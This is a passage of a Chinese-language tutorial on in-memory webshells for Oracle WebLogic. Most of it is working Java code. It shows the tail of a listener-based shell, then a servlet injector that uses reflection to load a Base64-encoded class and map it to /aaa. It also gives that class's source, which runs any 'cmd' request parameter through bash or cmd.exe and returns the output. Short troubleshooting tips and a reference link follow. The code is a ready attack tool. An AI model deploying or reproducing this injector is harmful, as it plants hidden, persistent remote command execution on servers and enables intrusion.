  22.                 BufferedReader br = new BufferedReader(new InputStreamReader(ps.getInputStream()));
  23.                 StringBuffer sb = new StringBuffer();
  24.                 String line;
  25.                 while ((line = br.readLine()) != null) {
  26.                     sb.append(line).append("<br>");//执行结果加上回车
  27.                 }
  28.                 String result = sb.toString();
  29.                 ServletResponseImpl response= ((ServletRequestImpl) servletRequestEvent.getServletRequest()).getResponse();
  30.                 response.getWriter().write(result);
  31.             } catch (IOException e) {
  32.             }
  33.         }
  34.     }
  35. }

0x03 Servlet型内存马

实现代码

以下代码在weblogic 10.3.6 和weblogic 12.2.1.3 上均可运行

  2. import sun.misc.BASE64Decoder;
  3. import weblogic.servlet.internal.ServletRequestImpl;
  4. import weblogic.servlet.internal.ServletStubImpl;
  5. import weblogic.servlet.internal.WebAppServletContext;
  6. import weblogic.servlet.utils.ServletMapping;
  8. import javax.servlet.http.HttpServlet;
  9. import javax.servlet.http.HttpServletRequest;
  10. import javax.servlet.http.HttpServletResponse;
  11. import java.io.IOException;
  12. import java.lang.reflect.Constructor;
  13. import java.lang.reflect.Field;
  14. import java.lang.reflect.Method;
  15. import java.util.Map;
  17. public class guguguServlet extends HttpServlet {
  18.     public void init() {
  19.     }
  21.     public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
  22.         try {
  23.             String URI = "/aaa";
  24.             //获取servletContext
  25.             Thread thread = Thread.currentThread();
  26.             //获取WebAppServletContext
  27.             Field workEntry = Class.forName("weblogic.work.ExecuteThread").getDeclaredField("workEntry");
  28.             workEntry.setAccessible(true);
  29.             Object workentry = workEntry.get(thread);
  30.             WebAppServletContext servletContext = null;
  31.             try { //weblogic 12.1.3
  32.                 Field connectionHandler = workentry.getClass().getDeclaredField("connectionHandler");
  33.                 connectionHandler.setAccessible(true);
  34.                 Object http = connectionHandler.get(workentry);
  36.                 Field request1 = http.getClass().getDeclaredField("request");
  37.                 request1.setAccessible(true);
  38.                 ServletRequestImpl servletRequest = (ServletRequestImpl) request1.get(http);
  40.                 Field context = servletRequest.getClass().getDeclaredField("context");
  41.                 context.setAccessible(true);
  42.                 servletContext = (WebAppServletContext) context.get(servletRequest);
  44.             } catch (Exception e) {
  45.                 //weblogic 1036
  46.                 Field context = workentry.getClass().getDeclaredField("context");
  47.                 context.setAccessible(true);
  48.                 servletContext = (WebAppServletContext) context.get(workentry);
  49.             }
  50.             // 获取servletMapping
  51.             Method getServletMapping = servletContext.getClass().getDeclaredMethod("getServletMapping");
  52.             getServletMapping.setAccessible(true);
  53.             ServletMapping mappings = (ServletMapping) getServletMapping.invoke(servletContext);
  54.             ServletStubImpl servletStub = null;
  55.             // 使用ServletStub包装HttpServlet
  56.             String encode_class = "yv66vgAAADMAkAoAHwBJCAA6CwBKAEsIAEwKAE0ATgoACQBPCABQCgAJAFEHAFIIAFMIAFQIAFUIAFYKAFcAWAoAVwBZCgBaAFsHAFwKABEAXQgAXgoAEQBfCgARAGAKABEAYQgAYgsAYwBkCgBlAGYKAGUAZwoAZQBoCABpCgBlAGoHAGsHAGwBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEADUxodHRwU2VydmxldDsBAAVkb0dldAEAUihMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7KVYBAAdpc0xpbnV4AQABWgEABW9zVHlwAQASTGphdmEvbGFuZy9TdHJpbmc7AQAEY21kcwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAJpbgEAFUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAAXMBABNMamF2YS91dGlsL1NjYW5uZXI7AQAGb3V0cHV0AQADb3V0AQAVTGphdmEvaW8vUHJpbnRXcml0ZXI7AQADcmVxAQAnTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7AQAEcmVzcAEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAANjbWQBAA1TdGFja01hcFRhYmxlBwBSBwAuBwBtBwBcBwBSBwBrBwBuBwBvAQAKRXhjZXB0aW9ucwcAcAcAcQEAClNvdXJjZUZpbGUBABBodHRwU2VydmxldC5qYXZhDAAgACEHAG4MAHIAcwEAB29zLm5hbWUHAHQMAHUAcwwAdgB3AQADd2luDAB4AHkBABBqYXZhL2xhbmcvU3RyaW5nAQAEYmFzaAEAAi1jAQAHY21kLmV4ZQEAAi9jBwB6DAB7AHwMAH0AfgcAfwwAgACBAQARamF2YS91dGlsL1NjYW5uZXIMACAAggEAA1xcYQwAgwCEDACFAIYMAIcAdwEAAAcAbwwAiACJBwCKDACLAIwMAI0AIQwAjgAhAQAHbm90aGluZwwAjwCMAQALaHR0cFNlcnZsZXQBAB5qYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXQBABNqYXZhL2lvL0lucHV0U3RyZWFtAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlAQAeamF2YXgvc2VydmxldC9TZXJ2bGV0RXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAQamF2YS9sYW5nL1N5c3RlbQEAC2dldFByb3BlcnR5AQALdG9Mb3dlckNhc2UBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAAdoYXNOZXh0AQADKClaAQAEbmV4dAEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQATamF2YS9pby9QcmludFdyaXRlcgEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAVmbHVzaAEABWNsb3NlAQAFd3JpdGUAIQAeAB8AAAAAAAIAAQAgACEAAQAiAAAALwABAAEAAAAFKrcAAbEAAAACACMAAAAGAAEAAAALACQAAAAMAAEAAAAFACUAJgAAAAQAJwAoAAIAIgAAAbwABAALAAAAsysSArkAAwIATi3GAJ0ENgQSBLgABToFGQXGABMZBbYABhIHtgAImQAGAzYEFQSZABgGvQAJWQMSClNZBBILU1kFLVOnABUGvQAJWQMSDFNZBBINU1kFLVM6BrgADhkGtgAPtgAQOge7ABFZGQe3ABISE7YAFDoIGQi2ABWZAAsZCLYAFqcABRIXOgksuQAYAQA6ChkKGQm2ABkZCrYAGhkKtgAbpwAOLLkAGAEAEhy2AB2xAAAAAwAjAAAARgARAAAADgAJAA8ADQAQABAAEQAXABIAKQATACwAFQBaABYAZwAXAHcAGACLABkAkwAaAJoAGwCfABwApAAdAKcAHgCyACAAJAAAAHAACwAQAJQAKQAqAAQAFwCNACsALAAFAFoASgAtAC4ABgBnAD0ALwAwAAcAdwAtADEAMgAIAIsAGQAzACwACQCTABEANAA1AAoAAACzACUAJgAAAAAAswA2ADcAAQAAALMAOAA5AAIACQCqADoALAADADsAAAA1AAf+ACwHADwBBwA8GVEHAD3+AC4HAD0HAD4HAD9BBwBA/wAdAAQHAEEHAEIHAEMHADwAAAoARAAAAAYAAgBFAEYAAQBHAAAAAgBI";
  57.             byte[] decode_class = new BASE64Decoder().decodeBuffer(encode_class);
  58.             Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
  59.             defineClass.setAccessible(true);
  60.             //这里为了适配weblogic 1036 必须反射获取webAppServletContext中的classLoader
  61.             Field loader = servletContext.getClass().getDeclaredField("classLoader");
  62.             loader.setAccessible(true);
  63.             ClassLoader ClassLoader0 = (ClassLoader) loader.get(servletContext);
  64.             Class servlet_class = (Class) defineClass.invoke(ClassLoader0, decode_class, 0, decode_class.length);
  66.             //获取ChangeAwareClassLoader，因为cachedClasses这个变量在ChangeAwareClassLoader中
  67.             Field classLoader = servletContext.getClass().getDeclaredField("classLoader");
  68.             classLoader.setAccessible(true);
  69.             ClassLoader classLoader1 = (ClassLoader) classLoader.get(servletContext);
  70.             //获取cachedClasses
  71.             Field cachedClasses = classLoader1.getClass().getDeclaredField("cachedClasses");
  72.             cachedClasses.setAccessible(true);
  73.             Object cachedClasses_map = cachedClasses.get(classLoader1);
  74.             Method get = cachedClasses_map.getClass().getDeclaredMethod("get", Object.class);
  75.             get.setAccessible(true);
  76.             //把cmdServlet的class存入cachedClasses中
  77.             Method put = cachedClasses_map.getClass().getMethod("put", Object.class, Object.class);
  78.             put.setAccessible(true);
  79.             put.invoke(cachedClasses_map, "cmdServlet", servlet_class);
  81.             try {
  82.                 Constructor<?> ServletStubImplConstructor = Class.forName("weblogic.servlet.internal.ServletStubImpl").getDeclaredConstructor(String.class, String.class, WebAppServletContext.class);
  83.                 ServletStubImplConstructor.setAccessible(true);
  84.                 servletStub = (ServletStubImpl) ServletStubImplConstructor.newInstance(URI, "cmdServlet", servletContext);
  85.             } catch (Exception e) {
  86.                 Constructor<?> ServletStubImplConstructor = Class.forName("weblogic.servlet.internal.ServletStubImpl").getDeclaredConstructor(String.class, String.class, WebAppServletContext.class, Map.class);
  87.                 ServletStubImplConstructor.setAccessible(true);
  88.                 servletStub = (ServletStubImpl) ServletStubImplConstructor.newInstance(URI, "cmdServlet", servletContext, null);
  89.             }
  91.             // 使用URLMathchHelper包装ServletStub
  92.             Constructor<?> URLMatchHelperConstructor = Class.forName("weblogic.servlet.internal.URLMatchHelper").getDeclaredConstructor(String.class, ServletStubImpl.class);
  93.             URLMatchHelperConstructor.setAccessible(true);
  94.             Object umh = URLMatchHelperConstructor.newInstance(URI, servletStub);
  96.             // 添加到ServletMapping中，即代表注入servlet内存马成功
  97.             if (mappings.get(URI) == null) {
  98.                 mappings.put(URI, umh);
  99.                 response.getWriter().println("success");
  100.             }else{
  101.                 response.getWriter().println("already exist");
  102.             }
  104.         } catch (Exception e) {
  105.             e.printStackTrace();
  106.         }
  108.     }
  110.     public void destroy() {
  111.     }
  113. }

Base64字符串加载的类

  1. import javax.servlet.ServletException;
  2. import javax.servlet.http.HttpServlet;
  3. import javax.servlet.http.HttpServletRequest;
  4. import javax.servlet.http.HttpServletResponse;
  5. import java.io.IOException;
  6. import java.io.InputStream;
  7. import java.io.PrintWriter;
  8. import java.util.Scanner;
  10. public class httpServlet extends HttpServlet {
  11.     @Override
  12.     protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
  13.         String cmd = req.getParameter("cmd");
  14.         if(cmd != null){
  15.             boolean isLinux = true;
  16.             String osTyp = System.getProperty("os.name");
  17.             if (osTyp != null && osTyp.toLowerCase().contains("win")) {
  18.                 isLinux = false;
  19.             }
  20.             String[] cmds = isLinux ? new String[]{"bash", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
  21.             InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
  22.             Scanner s = new Scanner(in).useDelimiter("\\\\a");
  23.             String output = s.hasNext() ? s.next() : "";
  24.             PrintWriter out = resp.getWriter();
  25.             out.println(output);
  26.             out.flush();
  27.             out.close();
  28.         }else {
  29.             resp.getWriter().write("nothing");
  30.         }
  31.     }
  32. }

可能踩坑的地方

1、修改web.xml的头部

  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <web-app xmlns:j2ee="http://java.sun.com/xml/ns/j2ee">
  3. </web-app>

2、如果报错 Command line is too long. Shorten command line….

修改项目下 .idea\workspace.xml，找到标签 ， 在标签里加一行

3、Base64字符串加载的类由于JDK版本不同，在不同环境下可能无法执行，文中的base64字符串加载的类是JDK 1.7.080编译的。

4、注入的类名不能在同一个项目中测试，因为类加载不能加载相同名字的类

参考文章

https://myzxcg.com/2021/11/Weblogic-%E5%86%85%E5%AD%98%E9%A9%AC%E5%88%86%E6%9E%90%E4%B8%8E%E5%AE%9E%E7%8E%B0/